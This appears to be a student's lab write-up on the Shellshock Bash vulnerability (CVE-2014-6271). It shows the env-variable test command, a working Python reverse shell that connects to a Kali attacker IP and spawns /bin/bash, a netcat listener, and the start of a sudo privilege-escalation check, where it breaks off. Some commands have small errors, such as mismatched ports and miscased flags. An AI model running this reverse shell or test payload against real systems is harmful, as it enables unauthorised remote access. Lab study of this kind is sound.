# Task # 2

## What is shell Shock vulnerability?

The shellshock vulnerability (CVE-2014-6271) is a serious flaw in the Bash shell, which is the program that handles commands in many Unix-like system (like linux & macOS). This vulnerability allows an attacker to run their own commands on a vulnerable system. The problem is that the **Bash** incorrectly handles the **environment variables**. These variables are like containers that store information about the system. The bug allows an attacker to define a function inside the environment variable. When **Bash** process this variable, it can end up executing **malicious commands** defined by the attacker.

## What is an arbitrary Command?

An arbitrary command means any command that can be executed on the system, without restrictions. In the context of the shell shock vulnerability, it refers to the ability of the attacker to execute any command

they choose on a vulnerable system.

Eg:
Commands that give them more control over the system, such as spawning a reverse shell or installing malware.

## Option # 1

### (1) Identifying Vulnerability:

To verify that the target system (M2) is vulnerable to shellshock the following command was executed:

```
$ env x='() { :;}; echo vulnerable' bash -c "echo test"
```

↳ env: The `env` command is used to set environment variables and execute a command in a modified environment.

↳ x='() { :;}; echo vulnerable':

- This sets an environment variable name `x`.
- The value '() { :;}; echo vulnerable' mimics a function definition in Bash:
  - () declares a function
  - { :;} is the body of the function:
    - `:` is a no-op (doesnothing command).
    - `;` ends the no-op command

: `} ; echo vulnerable` closes the function definition and executes the `echo vulnerable` command outside the function body, making it malicious.

This is a crafted input to exploit the shell shock vulnerability.

↳ bash -c "echo test":

: This executes a new Bash shell (bash)

: The `-c` flag specifies that the following string ("echo test") is a command to execute.

: In a non-vulnerable bash version, the commands simply echoes `test`.

But here output was
vulnerable
test

(2) Creating the Reverse Shell:

I then created a reverse shell payload that exploited the shell Shock vulnerability. The payload used the following python reverse shell code:

(1) On the target machine (Metasploitable 2):

```
$ nano reverse_shell.py
```

(2) Script

```
import socket
import os
import pty

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.100.5", 4444))
                # Connect to kali IP (attacker IP)

os.dup2(s.fileno(),0) # Redirect Stdin
os.dup2(s.fileno(),1) # Redirect Stdout
os.dup2(s.fileno(),2) # Redirect Stderr

pty.spawn("/bin/bash") # spawn a shell
```

(3) Set File Permissions:

Make the script executable:

```
$ chmod +x reverse_shell.py
```

(3) Execute the Script:

(1) Start the listener on the Attacker machine (kali linux):
open terminal and start Netcat to listen on port 4444.

```
$ nc -Lvnp 44444
```

(2) Run the script on the target machine (M2):

```
$ python reverse_shell.py
```

Successfully gained reverse shell on kali

connect to [192.168.100.5] from (unknown) [192.168.100.6] 48655

(4) Privilege Escalation Via Sudo:
Check if the user msfadmin has privilege escalation capabilities:

```
$ sudo -L
```